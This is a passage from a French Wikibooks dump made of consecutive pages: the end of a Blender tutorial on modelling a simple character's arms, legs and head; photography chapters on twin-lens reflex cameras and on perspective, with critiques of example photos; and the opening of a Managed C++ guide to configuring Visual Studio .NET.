==Modeler les bras== Quand vous avez la forme de base du torse, passez aux bras. Notez que de la même manière que vous pouvez contraindre le redimensionnement à l'axe X, Y, ou Z à l'aide des touches '''XKEY''', '''YKEY''', ou '''ZKEY''', vous pouvez contraindre la modification sur un axe. Pressez '''GKEY''' puis appuyez sur la touche appropriée d'axe. Pendant que vous travaillez sur les bras, n'hésitez pas à employer les différents angles de vue pour être certain que tout est correct ('''MMB''' pour tourner, '''NUM1''' pour la vue de face, '''NUM3''' pour la vue de côté, '''NUM7''' pour la vue de dessus). De plus, n'hésitez pas à utiliser '''CTRL+ZKEY''' pour annuler si vous faites une fausse manipulation. [[Image:DarkShot_0013.jpg|250px|right|Removing the end of the arm]] Nous allons commencer par lui faire lever les mains en l'air. D'abord, assurez-vous que vous êtes en mode Edit ; sinon, sélectionnez la silouhette et appuyez sur '''TAB'''. Vérifiez également que vous êtes en mode de sélection des sommets ('''CTRL+TAB'''). Avant de commencer, désactivez le bouton "Optimal" pour faire réapparaître les bras en cube, vous pourrez le réactiver une fois que vous aurez fini. Maintenant, selectionnez les 8 sommets du bras qui sont les plus éloignés du torse (vérifiez que vous avez déselectionner tout autre élément précédement modifié), appuyez sur '''XKEY''' (pour supprimer), et choisissez "Les sommets"(Vertices) dans le menu contextuel. [[Image:Arm-hole.jpg|250px|right|Shortened arm]] Tout à coup les boîtes disparaissent, et à l'extrémité des bras, il y a un trou ! Ne paniquez pas :) Nous corrigerons cela dans un moment. <br style="clear:both" /> [[Image:Extruding again m.jpg|250px|right|Extrude forearm]] ''Pour différentes raisons, cela fonctionne mieux si vous refermez le trou avant d'extruder l'avant bras. Sélectionnez les quatre somments entourant le trou et pressez la touche '''FKEY''' (Blender v2.41).'' Choisissez les quatre sommets supérieurs de la dernière "boite" et extrudez les trois fois vers le haut avec '''EKEY''' et '''CTRL''' pour créer trois boites similaires. <br style="clear:both" /> [[Image:Giving a face again m.jpg|250px|right|Fixing the holy elbox]] Occupons nous maintenant du coude. Choisissez simplement les quatre sommets du trou béant, appuyez sur '''Barre espace'''-"''Edit''"-"''Faces''" et sélectionnez finalement l'option appelée "font Edge/Face" (la fabrication d'une face/edge peut également être faite par '''FKEY ''', mais l'autre manière vous donne une meilleure impression de ce que vous faites). Notez que le trou a été couvert par une face. <br style="clear:both" /> [[Image:Smoothing again m.jpg|250px|right|Re-smoothing the elbow]] Maintenant, cliquez sur "Set Smooth" pour lisser les faces crées. <br style="clear:both" /> [[Image:Handsup.JPG|right|Repeat on the other side]]Faites la même chose avec l'autre côté. Déselectionnez bien tous les somments de l'autre bras en pressant la touche '''AKEY'''. Il est important de suivre les étapes dans le même ordre; un ordre différent pourrait donner des bras de longueur différente. <br style="clear:both" /> ==Modeler les jambes== Maintenant il est temps de commencer à travailler sur les jambes. Pour travailler sur les jambes, nous essaierons certaines des options du menu "Specials", accessible à l'aide de '''WKEY'''. Nous emploierons également les différents modes proposés par '''CTRL+TAB '''. D'abord nous allons passer en '''Face Select Mode'''. Appuyez sur '''CTRL+TAB''' et choisissez "Faces". Assurez-vous en outre d'avoir choisi de limiter la sélection aux parties visibles (bouton juste du fond de l'en-tête de vue 3D), sinon vous serez susceptible de choisir des parties des jambes non désirées. Pour choisir les deux dessous des pieds (les semelles des pieds), cliquez '''RMB''', et maintenez '''ShiftKey''' pendant la selection du second. Chaque face apparaît avec un petit carré en son centre, et qui devient jaune (de même que le contour de la face) une fois celle-ci sélectionnée. [[Image:feet-1.jpg]] Ensuite nous appuyons sur '''WKEY''' pour afficher le menu "Specials". Choisissez la commande 'Subdiviser'. [[Image:feet-2.jpg]] Cette commande subdivise chacune des faces en quatre autres de taille égale. Pour la prochaine étape nous devons passer en '''Edge Select Mode''' en appuyant sur '''CTRL+TAB'''. Sélectionnez les deux arêtes en bas à l'avant de chaque jambe, qui composent le bout des pieds. [[Image:feet-3.jpg]] Passez en vue de côté avec '''Num3''' et appuyez sur '''GKEY'''. Éloignez maintenant arêtes sélectionnées des jambes comme vous le désirez. Appuyez sur '''MMB ''' pour effectuer un mouvement orthogonal. [[Image:feet-4.jpg]] Félicitations ! Nous avons maintenant des pieds : [[Image:feet-5.jpg]] ==Modeler la tête== [[Image:WIKI-HEAD.jpg|right]]Maintenant que vous avez une forme acceptable pour les jambes, vous devriez faire quelque chose au sujet de cette tête. Un peu trop sphérique, ne pensez-vous pas ? Pressez '''AKEY''' pour tout désélectionner, et placez la souris au centre de la tête. Pressez '''LKEY'''. Ceci a pour effet de sélectionner le sommet le plus proche du curseur ainsi que tous les eléments (sommets, arêtes ,faces) qui lui sont liés, et ce de manière consécutive. Ainsi la tête complète est sélectionnée. En effet, les faces pour la tête et les faces pour le corps se traversent les unes et les autres; cependant, aucun des sommets dans la tête n'est lié à un des sommets du corps par l'intermédiaire d'une arête ou d'une face. La tête entière étant sélectionnée, pressez '''SKEY''' et étirez la sur l'axe Z afin d'obtenir une forme plus adaptée. Après avoir étiré la tête, vous trouverez peut-être qu'elle est trop basse. Pour corriger ça, pressez '''GKEY''' (pour déplacer la tête) et '''ZKEY''' (pour restreindre le mouvement sur l'axe Z). Manipulez un peu tout ça, jusqu'à ce que vous soyez satisfait du résultat. <br style="clear:both" /> ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Créer un chapeau simple|Créer un chapeau simple]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|Détailler votre personnage simple I]]''</small> Photographie - Chapitre 09 - Appareils photographiques 5395 27691 2005-12-27T11:53:58Z Jean-Jacques MILAN 114 /* Appareils réflex à deux objectifs */ {{Photographie}} Des renseignements sur les appareils photographiques figurent dans les inventaires des constructeurs en cours de rédaction dans le '''[[Photographie - Chapitre 40 - Fabricants de matériels|chapitre 40]]'''. {{EnTravaux}} == Appareils réflex à deux objectifs == [[Image:Goerz Minicord.jpg|thumb|120px|Appareil de microformat Minicord 10x10 [[Photographie - 40 - Goerz|Goerz]]]] [[Image:Concava Tessina.jpg|thumb|180px|[[Photographie - 40 - Concava|Concava]] Tessina]] Ils se composent de deux chambres superposées, l'une servant pour la prise de vue et l'autre pour la visée. L'image de cette dernière est renvoyée par un miroir placé à 45 ° et se forme sur un verre dépoli ; n'ayant subi qu'une seule réflexion, elle est inversée droite-gauche, ce qui ne manque pas de dérouter quelque peu lorsque l'on manipule un tel appareil pour la première fois. Ces deux chambres sont totalement indépendantes, il n'y a aucun système d'escamotage du miroir comme on peut en trouver avec les appareils réflex à un seul objectif, ce qui permet une construction très simple et très robuste. La limitation du format des négatifs est une quasi nécessité, l'usage de formats trop importants rendrait prohibitif l'encombrement d'un appareil construit sur ce princips. Par ailleurs, le décalage des axes de visée et de prise de vue, même s'il est relativement réduit, provoque l'apparition d'un défaut de parallaxe sensible à courte distance. Ce défaut croît en même temps que le format des négatifs. Les deux objectifs sont nécessairement de même focale, ils doivent être soigneusement appairés et, naturellement, solidaires l'un de l'autre. L'avance ou le recul du bloc optique permet en effet d'obtenir la netteté à la fois sur le dépoli de visée et sur le film. Comme il est très difficile d'opérer en tenant l'appareil autrement qu'à la verticale, tous les constructeurs ou presque ont adopté un format carré, généralement 6 x 6 cm, ce qui permet d'obtenir 12 vues sur un rouleau 120 ou 24 vues sur un rouleau 220 (que tous les appareils n'acceptent pas). D'autres formats ont été utilisés comme le 4 x 4 cm (on ne trouve plus aujourd'hui de film pour ces appareils) ou même le format miniaturisé 10 x 10 mm obtenu sur du film cinéma 16 mm (Minicord 10 x 10 de [[Photographie - 40 - Goerz|Goerz]]). Une exception notable est le Tessina, petit bijou fabriqué par le constructeur suisse [[Photographie - 40 - Concava|Concava]], dans lequel les deux axes optiques sont situés dans un même plan horizontal et qui utilise un format de prise de vues rectangulaire. Pour des raisons qui tiennent essentiellement à l'encombrement (la place qui serait nécessaire est déjà occupée par les bobines débitrices et réceptrices), l'obturateur est toujours de type central et il est monté sur la platine porte-objectif. Cette dernière est commandée par un système à crémaillère ou quelquefois par un dispositif hélicoÏdal. Son guidage doit être réalisé avec soin et il faut veiller soigneusement à ne pas l'endommager, faute de quoi l'appareil risquerait de donner des images floues. La pellicule est entraînée le plus souvent par un bouton ou un levier dont la manœuvre assure l'armement de l'obturateur. Sur certains appareils 6 x 6, il faut opérer un réglage en fonction de la bobine utilisée, 120 ou 220, pour que le compteur de vues puisse jouer normalement son rôle. L'erreur de parallaxe (environ 40 mm pour un appareil 6 X 6) est négligeable lorsque l'on opère à une distance de plus d'un mètre mais en-dessous, elle peut se révéler gênante. Certains appareils possèdent un système qui incline l'objectif de visée lorsque le tirage augmente mais la liaison mécanique augmente le prix de l'appareil et le rend plus cher. La plupart du temps, les constructeurs se contentent de diminuer le format du verre de visée. Quelques appareils posèdent des systèmes amovibles permettant de redresser l'image de visée. Les appareils réflex à deux objectifs ne permettent guère d'utiliser commodément des objectifs interchangeables et peu de constructeurs se sont engagés dans cette voie. De ce point de vue [[Photographie - 40 - Mamiya|Mamiya]] constitue sans doute une exception. Des compléments optiques afocaux comme ceux que proposait [[Photographie - 40 - Yashica|Yashica]] permettent de réduire ou d'augmenter l'angle de champ des objectifs mais malheureusement la qualité optique n'était pas au rendez-vous. Photographie - 30 - Photographie et perspective/Perspective frontale 5396 22075 2005-09-25T11:59:07Z Jean-Jacques MILAN 114 {{Photographie}} Voici quelques exemples commentés de photographies en perspective frontale, issues de Wikimedia Commons. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Fort sanchey1.JPG|240px|center]] |'''Batterie de Sanchey'''<br><br> Un bon document d'architecture, montré de façon presque symétrique. L'aspect de visages tristes des deux ouvertures bouchées de chaque côté de la porte a-t-il été recherché délibérément par les architectes ? |- |[[Image:Nishi arai daishi sando.jpg|160px|center]] |'''Entrée du temple de Nishiarai Daishi'''<br><br> La symétrie donne souvent des images un peu lassantes mais y avait-il mieux à faire ici ? |- |[[Image:Versailles Petit Trianon.jpg|240px|center]] |'''Petit Trianon à Versailles'''<br><br>Il s'agit encore de perspective frontale mais il n'y a pratiquement pas de fuyantes, tous les éléments intéressants se situent dans des plans parallèles au tableau. De ce fait, le portail et le bâtiment se disputent le rôle de sujet principal et tendent à se « mélanger ». En avançant un peu, le photographe pouvait dégager entièrement le palais, en sacrifiant peut-être à gauche et à droite quelques barreaux de la grille. En s'acroupissant, il pouvait aussi profiter des lignes de fuite des pavés pour augmenter l'impression de profondeur. |- |[[Image:Wall Street Subway.jpg|240px|center]] |'''Station de métro Wall Street'''<br><br> L'ambiance sombre et lugubre n'est pas véritablement engageante et le regard vient buter sur l'objet noir (une poubelle ?) qui occupe le centre du cadre ! |- |[[Image:Praha 2005-09-20 karlův most.jpg|240px|center]] |'''Prague'''<br><br> La ligne d'horizon coupe ici le rectangle en deux parties pratiquement égales, l'axe optique de l'appareil était très proche de l'horizontale. Le photographe n'a pas su choisir entre l'eau et le ciel, il serait sans doute intéressant de couper un peu du bas de la photo pour tendre vers un panoramique. |- |[[Image:Clickimin Broch, Lerwick.jpg|240px|center]] |'''Construction de l'âge de fer à Clickimin Broch, Lerwick'''<br><br> L'ambiance lumineuse est intéressante et correspond sans doute mieux au paysage qu'un soleil méditerranées. L'idée de rompre la symétrie et sortant de l'axe du sentier était intéressante mais trop, c'est trop, et du coup, au lieu de converger vers le principal point d'intérêt, la clôture de gauche est transformée en un trait noir peu esthétique. En restant à égale distance des clôtures et en tournant légèrement l'appareil vers la gauche, on évitait facilement de trop centrer le sujet et surtout on éliminait du cadre les véhicules visibles sur la partie droite. Il est toujours temps de réduire le ciel, trop pauvre en détails pour être intéressant. |- |[[Image:Galleria7776.JPG|160px|center]] |'''Galerie Victor Emmanuel II'''<br><br> Cette perspective n'est pas tout-à-fait frontale, le point principal est un peu plus bas que le centre du rectangle et les verticales ne sont pas tout-à-fait parallèles. Une photo bien réussie où se conjugue l'intérêt documentaire et l'ambiance de vie très animée. Remarquer à nouveau les têtes dans le plan d'horizon. |- |[[Image:Chancery Lane Undergrtound Station - London - 240404.jpg|240px|center]] |'''Station de métro Chancery Lane à Londres'''<br><br> Nous avons là une perspective frontale typique, le photographe a parfaitement tiré profit du fait que la station se trouve en légère courbe pour placer bien dans l'axe la bordure du quai. Il a aussi attendu un moment où la station est quasi déserte, d'où une ambiance fort différente de celle qui règne aux heures de pointe. |- |[[Image:Morinomiya6.jpg|160px|center]] |'''Station de métro Morinomiya à Osaka'''<br><br> Une image très dynamique, presque frontale (le point de fuite est légèrement à gauche du point principal, donc du centre du rectangle. |- |[[Image:Keihan Doi-Station.jpg|240px|center]] |'''Station de métro Keihan à Moriguchi'''<br><br> Une image au contraire très statique, le regard vient buter sur les machines à contrôler les billets au premier plan, puis sur le fond. Les fuyantes s'arrêtent longtemps avant le point de fuite. Pas beaucoup de resquilleurs au Japon ... |- |[[Image:DCMetro Smithsonian.jpg|240px|center]] |'''Metro Smithsonian'''<br><br> Une image très différente d'une autre station de métro. Deux trains à la fois, c'est sans doute une chance ! |- |[[Image:Speyerer Dom Mittelschiff.jpg|160px|center]] |'''Beschreibung: Speyerer Dom, Blick von der Empore''' (quelqu'un pourrait-il traduire ?)<br><br> Dans une cathédrale, la perspective ne peut être frontale que si le point de vue se situe à peu près à mi-hauteur de la nef. Remarquons que l'objectif est entaché d'une distorsion en barillet qui donne une forme courbe aux verticales proches des bords. |- |} Photographie - 30 - Photographie et perspective/Perspective à deux points de fuite 5397 38354 2006-03-18T23:20:07Z 82.231.242.117 typo {{Photographie}} Ces photos prises comme exemples sont issues de Mediawiki Commons. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Versailles Salon D'Apollon.jpg|160px|center]] |'''Château de Versailles, salon d'Apollon'''<br><br> La photo donne une bonne idée du lieu, on peut juste regretter la coupure du bord du tableau et le petit morceau de barrière dans le coin en bas à gauche (problème classique avec les viseurs des appareils réflex qui montrent en général un champ légèrement plus restreint que celui qui est réellement enregistré). |- |[[Image:Roman Baths, Bath.jpg|160px|center]] |'''Bains romains de Bath'''<br><br> La ligne d'horizon passe à proximité immédiate du milieu de la photo, les verticales sont pratiquement conservées, le point de vue surélevé a été parfaitement utilisé. Par ailleurs, la lumière douce a permis d'obtenir des contrastes très raisonnables, ce qui est assez rare en photographie d'architecture, les parties claires ne sont pas délavées et il reste des détails significatifs dans les ombres. Les personnages apportent ce qu'il faut de vie à l'ensemble. |- |[[Image:Hbf ge umbau2.jpg|200px|center]] |''' La gare principale de Gelsenkirchen'''<br><br> Bien qu'il n'y ait pratiquement qu'un seul point de fuite visible, en raison de la nature du sujet, c'est encore une perspective à deux points de fuite, la ligne d'horizon passe pratiquement au milieu de la photo. |- |[[Image:Treinstel te AC.JPG|240px|center]] |'''Train en gare d'Anvers, Belgique'''<br><br> Nos habitudes de lecture font que nous parcourons instinctivement une image du haut vers le bas et de la gauche vers la droite. Ici notre lecture commence par le premier plan à gauche et se termine au point de fuite à droite. Le train va partir, et ça tombe bien puisqu'il est dans le bon sens. Si nous avions vu ici le côté locomotive, les deux visions se seraient opposées et cette photo aurait beaucoup perdu en dynamisme. |- |[[Image:Treinen te AC.JPG|240px|center]] |'''Train en gare d'Anvers, Belgique'''<br><br> Cette fois c'est l'inverse qui se produit, le regard part du point de fuite à gauche pour arriver au premier plan à droite, les deux trains donnent l'impression d'arriver. Dans les pays où le sens de lecture est inversé, les conclusions seraient évidemment contraires. |- |[[Image:Shutter Artists in Shimokitazawa.jpg|240px|center]] |'''Peinture d'un volet roulant à Shimokitazawa'''<br><br> Le cadrage nous montre d'abord les artistes, puis le décor. |- |[[Image:Venice - 04.jpg|240px|center]] |'''Venise'''<br><br> Le cadrage nous montre d'abord le campanile, puis le canal et les bâtiments qui le bordent. |- |[[Image:DSC03240.jpg|240px|center]] |'''Lion de pierre à Sofia, Bulgarie'''<br><br> La verticalité des colonnes témoignent du soin apporté par l'auteur de cette photo. |- |[[Image:Rural Cambodia.jpg|240px|center]] |'''Paysage rural au Cambodge'''<br><br> Un bon document, la ligne d'horizon est pratiquement au milieu du cadre mais le ciel est un peu animé et méritait d'être conservé. |- |[[Image:Soldatenfr champigny st andre 10.jpg|240px|center]] |'''Cimetière militaire français de Champigny St. André'''<br><br> Là encore l'image est coupée en deux par la ligne d'horizon mais sans être monotone pour autant. |- |[[Image:Auber-RER-Paris-2005-Platform-2.jpg|240px|center]] |'''Station Auber du RER à Paris'''<br><br> Le décalage du point de fuite par rapport au centre de l'image classe celle-ci parmi les perspectives à deux points de fuite. Cet « éclatement » est particulièrement dynamique. |- |[[Image:Devanture églomisée 20050917.jpg|240px|center]] |'''Devanture de boulangerie en [[w:fr:Verre églomisé|verre églomisé]] rue de la Roquette à Paris'''<br><br> Beaucoup de soin pour montrer cette belle devanture d'époque sous un angle avantageux, la convergence des verticales vers le haut est très légère et bien équilibrée. |- |} Photographie - 30 - Photographie et perspective/Perspective plafonnante 5398 24107 2005-10-23T20:09:39Z 217.149.243.237 {{Photographie}} Les photographies commentées ci-dessous sont issues de Mediawiki Commons. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Schloss Charlottenburg.jpg|240px|center]] |'''Schloss Charlottenburg'''<br><br> La perspective plafonnante se reconnaît ici à la position basse de la ligne d'horizon dans le cadre. L'effet sur les verticales est léger et ne se constate guère que sur les côtés de la photographie. Celle-ci, par ses proportions, s'apparente à une vue panoramique. |- |[[Image:Largo do Senado.jpg|240px|center]] |'''Largo do Senado, la place principale du centre de la ville coloniale de Macau'''<br><br> Là aussi l'inclinaison de l'appareil est restée faible et la convergence des verticales est à la fois faible et bien équilibrée. Les motifs ondulés du sol et la présence de personnages rompent heureusement la monotonie. |- |[[Image:Kastlosa nave2.jpg|240px|center]] |'''Kastlösa church, Mörbylånga'''<br><br> L'inclinaison de l'axe optique vers le haut est toujours relativement modeste mais elle n'est plus exactement équilibrée, la légère convergence des verticales a lieu vers la droite et la photographie donne l'impression de pencher. Notons que lorsque l'appareil penche vers la gauche, l'image penche vers la droite. Il y a un siècle, beaucoup d'appareils étaient munis d'un niveau à bulle ; si cet accessoire apparaissait dans le viseur des appareils modernes, gageons que l'on trouverait moins de photos penchées sur Wikimedia Commons ! |- |[[Image:Lawrence County Back Road.jpg|160px|center]] |'''Lawrence County Back Road'''<br><br> Là aussi l'effet est assez léger. Malgré tout, bien que les troncs des arbres ne soient pas a priori parfaitement verticaux, leur convergence vers le haut apparaît nettement. L'œil, étant attiré d'abord par les zones claires de l'image, s'en va immédiatement vers le point le plus éloigné de la route, ce qui renforce l'effet de profondeur. |- |[[Image:Blarerkirche Esslingen.jpg|160px|center]] |'''Église Blarer, Esslingen'''<br><br> Le point de fuite des verticales est très proche de l'axe vertical du cadre, ce qui permet d'équilibrer cette photographie. Naturellement, la convergence est ici très marquée, ce qui est à la limite de ce que l'on peut raisonnablement admettre. |- |[[Image:Toruń-NMP-wnętrze.jpg|160px|center]] |'''Toruń-NMP-wnętrze''' (Notre Dame de Toruń - Intérieur)<br><br> Une vue classique et plutôt bien réalisée de l'intérieur d'une église. Le photographe s'est légèrement décalé sur la droite et il a eu tort, car le désalignement de l'axe de l'abside avec les clés de voûte fait paraître cette photo légèrement tordue ; il valait mieux qu'il ne se décale pas du tout, ou alors qu'il se décale plus franchement. |- |[[Image:Frankfurt Karmeliterkloster 1830.jpg|200px|center]] |'''Cloître des Carmélites, Francfort'''<br><br> Le dessinateur a ici redressé les perspectives, ce qui a pour effet de donner plus de volume et d'amplitude aux voûtes. Les photographies analogues à la précédente peuvent être redressées de diverses manières : à la prise de vue, en utilisant un objectif à décentrement, sous l'agrandisseur, à l'aide d'une bascule selon la règle dite de Scheimpflug ou en quelques clics de souris avec un logiciel de retouche informatique. L'effet serait évidemment de donner plus d'importance aux voûtes dans le cadre de l'image. |- |[[Image:Cattedr SLorenzo.jpg|160px|center]] |'''Cathédrale San Lorenzo, Gènes'''<br><br> Le manque de recul a contraint le photographe à entrer sous un porche, ce qui fournit un premier plan utile. Malheureusement la cathédrale semble pencher à droite, c'est de ce côté que se trouve le point de convergence des verticales et par ailleurs la masse de la plus haute tour « enfonce » un peu plus l'image. |- |[[Image:StViktorDom.jpg|240px|center]] |'''Cathédrale St. Viktor, Xanten''' <br><br> En montrant seulement les voûtes, on les met en valeur mais les colonnes perdent ici leurs bases et c'est quelque peu dérangeant pour le regard. |- |[[Image:Burglahneck falltür.jpg|160px|center]] |'''Burg Lahneck, Lahnstein'''<br><br> La convergence des fuyantes verticales peut être jugée comme exagérée mais on peut dire aussi qu'elle correspond à l'aspect impressionnant que doit avoir l'entrée du château pour les visiteurs. |- |[[Image:Malmesbury Abbey Watching loft.jpg|160px|center]] |'''Abbaye de Malmesbury'''<br><br> Ici la convergence des verticales est considérable mais elle se fait bien dans l'axe de la photo et ce détail d'architecture est plutôt bien rendu. |- |[[Image:Smedby view3.jpg|160px|center]] |'''Église de Smedby, Mörbylånga'''<br><br> Le mieux est parfois l'ennemi du bien ! Normalement les arêtes de ce clocher auraient dû converger vers le haut mais elles ont été redressées presque parfaitement et du coup, cette photographie ne correspond plus à la vision « naturelle » que l'on devrait avoir de cette église. La partie supérieure du clocher paraît de ce fait plus large que la base et elle écrase littéralement le reste du bâtiment. |- |[[Image:Modena.jpg|240px|center]] |'''Modene'''<br><br> La photographie n'est pas inintéressante mais un mauvais point de fuite des verticales la fait pencher à droite. |- |[[Image:Lustre-mairie-saint-denis.JPG|240px|center]] |'''Lustre de l'Hôtel de Ville de Saint-Denis de la Réunion'''<br><br> La perspective plafonnante concerne aussi les objets, et celui-ci est fort bien mis en valeur. |- |[[Image:Dresden 002.jpg|240px|center]] |'''Dresde la nuit'''<br><br> Le manque de recul et le choix d'un objectif de très courte focale donne cette fois une convergence quasi caricaturale des verticales. |- |[[Image:Santiago GDFL catedral 050318 42.jpg|240px|center]] |'''Cathédrale de Saint-Jacques de Compostelle'''<br><br> Pourquoi le photographe a-t-il donné une inclinaison aussi énorme à cette cathédrale ? Peut-être parce qu'il ne disposait pas d'un objectif de focale assez courte et qu'il tient plus de choses selon la diagonale d'un rectangle que dans la direction des côtés ? Ou alors il a voulu faire un effet ? Le résultat n'est pas forcément très convaincant ... |- |[[Image:Roma - Basilica di San Paolo fuori le mura - 9.jpg|160px|center]] |'''Rome, basilique de San Paolo hors les murs'''<br><br> Cela va de soi, la perspective plafonnante est particulièrement indiquée pour montrer les plafonds ! |- |[[Image:CastleGranitzStairCorkScrew.jpg|240px|center]] |'''Escalier du château de Granitz, Rügen, Allemagne'''<br><br> Les escaliers hélicoïdaux sont toujours un régal pour le photographe et celui-ci est plutôt spectaculaire. Une telle photographie n'a pas vraiment de haut et de bas, on peut la tourner de 90° ou de 180 ° sans grand inconvénient, l'orientation choisie finalement n'étant pas toujours celle qui avait été prévue lors de la prise de vue. |- |[[Image:Détails plafond de la loggia Azay-le-rideau.JPG|240px|center]] |'''Détails du plafond de la loggia du château d'Azay-le-Rideau'''<br><br> Comment montrer au mieux un plafond, sinon en posant l'appareil sur le sol pour une direction de prise de vue verticale ? Le retardateur est ici un accessoire fort utile. |- |} Photographie - 30 - Photographie et perspective/Perspective plongeante 5399 22592 2005-10-04T22:44:08Z 217.147.80.34 pardon, replaced image not realising was being used - reuploaded original under new name {{Photographie}} Les images commentées ci-dessous sont issues de Wikimedia Commons. D'une manière générale, les perspectives plongeantes sont beaucoup plus rares que les perspectives plafonnantes car elles nécessitent que l'on se place en un point haut pour faire la prise de vue. Le seul domaine où elles sont relativement fréquentes est la photographie d'objets posés sur un support. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Aino Aalto glasses perspective.jpg|240px|center]] |'''Trois verres d'Aino Aalto'''<br><br> Une prise de vue assez classique, sans recherche d'effets particuliers, il s'agit là d'un document destiné à montrer des objets. Il faut toutefois se méfier dans un tel cas des prises de vues trop plongeantes qui conduisent parfois à de fâcheux effets de raccourci, en particulier avec les animaux de compagnie et les enfants. |- |[[Image:India Goa Women planting.jpg|240px|center]] |'''Femmes indiennes travaillant dans une plantation, Goa, Inde'''<br><br> La persepective est ici judicieusement choisie, elle montre bien le travail des champs, avec divers plans qui donnent une bonne impression de relief accentuée par une légère brume. Le photographe a choisi de couper complètement le ciel, celui-ci devait d'ailleurs être laiteux (les ombres sont très douces ...) et il n'aurait, dans ces conditions, rien apporté à la qualité de la photographie. |- |[[Image:Plaza4 Fuenllana.jpg|240px|center]] |'''Place à Fuenllana'''<br><br> La prise de vue n'esi ici que légèrement plongeante, puisque la ligne d'horizon n'est pas placée très haut par rapport au centre du cadre. Cela suffit pour inclure des détails du sol et du « mobilier urbain » qui donne un certain relief, suggère une certaine étendue. Il manque par contre un peu de vie. |- |[[Image:Meersburg-Marktplatz.jpg|160px|center]] |'''Place du marché dans le vieux Meersburg, Allemagne'''<br><br> Une photo de rue classique prise depuis un étage d'une maison. Les verticales fuient vers le bas et bien dans l'axe, la composition est bien équilibrée. Le décalage du point de fuite à gauche ou à droite de l'axe est moins défavorable que pour la perspective plafonnante, sauf ... pour la ligne d'horizon, quand elle figure sur l'image ( dans le cas d'une marine, par exemple. |- |[[Image:Formby Beach.jpg|240px|center]] |'''Baie de Formby, Grande-Bretagne'''<br><br> Composition classique 1/3 - 2/3 pour cette image tout de même assez vide, à part les traces, mais l'effet est peut-être recherché. L'horizon est très légèrement penché vers la gauche mais la masse triangulaire de la dune empêche qu'on le remarque immédiatement. |- |[[Image:Mass food production.jpg|240px|center]] |'''Mass food production'''<br><br> Beaucoup d'éléments concourent ici pour donner une impression de profondeur et de grand nombre. La profondeur de champ est par contre un peu faible et amène le regard à s'arrêter sur les assiettes nettes, dans une zone pas très éloignée. Valait-il mieux faire la mise au point plus près, ou plus loin ? |- |[[Image:Lookingdownahdb.jpg|160px|center]] |'''Immeubles des Woodlands, Singapour'''<br><br> Image classique mais nettement penchée. Les fenêtres de la rangée qui se trouve dans l'axe de la photographie devraient être alignées verticalement selon la médiane du rectangle. |- |[[Image:Roaduehdbflats.jpg|160px|center]] |'''Immeubles des Woodlands, Singapour'''<br><br> Ben voilà, suffisait de demander ! |- |} Managed C Plus Plus Guide 5402 25055 2005-11-06T13:37:57Z Bozo 588 /* Introduction */ __NOTOC__ <!--{{enTravaux}}--> {| align="center" border="0" width="100%" | bgcolor="#959595" align="center" colspan="2" | Guide de Programmation en C++ Managé <br> '''Introduction''' |- | style="background-color:#B0D0F0" width="50%" align="left" |[[Managed C Plus Plus|<< retour]] | style="background-color:#B0D0F0" width="50%" align="right" |[[Managed C Plus Plus Guide : Chapitre 1 Configuration|Chapitre 1 : Configuration de Visual Studio .NET >>]] |} == Sommaire == '''Chapitre 1''': [[Managed C Plus Plus Guide : Chapitre 1 Configuration|La configuration de Visual Studio .NET]] '''Chapitre 2''': [[Managed C Plus Plus Guide : Chapitre 2 Programmation|La programmation en C++ Managé]] <!-- Recueil d'Astuces pour C++ Managé 'ou' Les meileures blagues de Visual Studio --> <!-- = Guide de Programmation en C++ Managé= --> == Introduction == Ce document présente les principaux pièges à éviter lorsque l'on réalise un projet en C++ Managé, sous Visual Studio .NET. Il s'adresse à ceux qui découvrent le C++ Managé, pour leur éviter de longues recherches de documentation dans la MSDN. Il ne s'agit pas d'un tutoriel pour apprendre à programmer, mais d'un guide, c'est à dire un recueil de conseils. Il traite d'une part de la configuration de Visual Studio pour un projet C++ Managé, puis de la programmation C++ Managé. Ce document fut réalisé à la suite du développement d'un ''Wrapper'', c'est à dire une bibliothèque de classes, encapsulant des classes C++ afin qu'elles soient indirectement accessibles à partir de classes C#. <!-- Je dédicace cette page à Michael, Guillaume, Grégory et Phillippe, ainsi qu'aux stagiaires qui liront cette page ! --> Si vous avez rencontré des problèmes similaires en programmant en MC++, mais qui ne sont pas traités dans ce document, alors vous êtes cordialement invité à le compléter ! == Prérequis == # la programmation C++ traditionnelle # les notions de base concernant la plate-forme .NET Managed C Plus Plus Guide : Chapitre 1 Configuration 5403 24195 2005-10-24T21:16:20Z 82.120.115.142 /* Les répertoires */ __NOTOC__ {| align="center" border="0" width="100%" | bgcolor="#959595" align="center" colspan="2" | Guide de Programmation en C++ Managé <br> '''Chapitre 1 : Configuration de Visual Studio .NET''' |- | style="background-color:#B0D0F0" width="50%" align="left" |[[Managed C Plus Plus Guide|<< retour au sommaire]] | style="background-color:#B0D0F0" width="50%" align="right" |[[Managed C Plus Plus Guide : Chapitre 2 Programmation|Chapitre 2 : Programmation MC++ >>]] |} <!-- = Chapitre 1 : La configuration de Visual Studio .NET = --> Lors de la compilation ou de l'édition de liens, quelques erreurs peu explicites peuvent se déclarer pour des raisons de mauvaise configuration de votre projet, ou même des préférences générales de Visual Studio. __TOC__ = La configuration du projet = == Les références managées == Les références managées correspondent aux DLL (ou autres projets) '''réalisés grâce à la technologie .NET''' (projets C#, VB.NET...), que vous avez besoin d'intégrer dans votre propre projet. Dans la fenêtre où figurent votre arborescence de fichiers, figure un élément "Références" sur lequel vous devez faire un "clic-droit" afin de sélectionner "ajouter une nouvelle référence". Plusieurs onglets sont présents dont: #L'onglet '''.NET Framework''' permettant d'ajouter des assemblages .NET référencés, #L'onglet '''COM''' permettant d'ajouter des composants COM référencés, #L'onglet '''Projet''' permettant de choisir les DLL résultant de la compilation de vos projets .NET Si mystérieusement un ''namespace'' de la plate-forme .NET semble inexistant à la compilation, vérifiez qu'il est bien présent dans l'arborescence des références, si son nom y figure bien. Sinon procédez avec le premier onglet décrit ci-dessus. == Les références non managées == Les références non managées correspondent aux DLL classiques '''réalisées sans la technologie .NET''' (projets VC++ 6 par exemple). Ces DLL doivent être présentes dans le répertoire de sortie (où l'exécutable sera créé et exécuté, par défaut le répertoire Debug). == Le debugage mixte en MC++ == Pour débuguer à la fois le code managé et le code non managé (d'un projet intégré comme référence non managée), il est 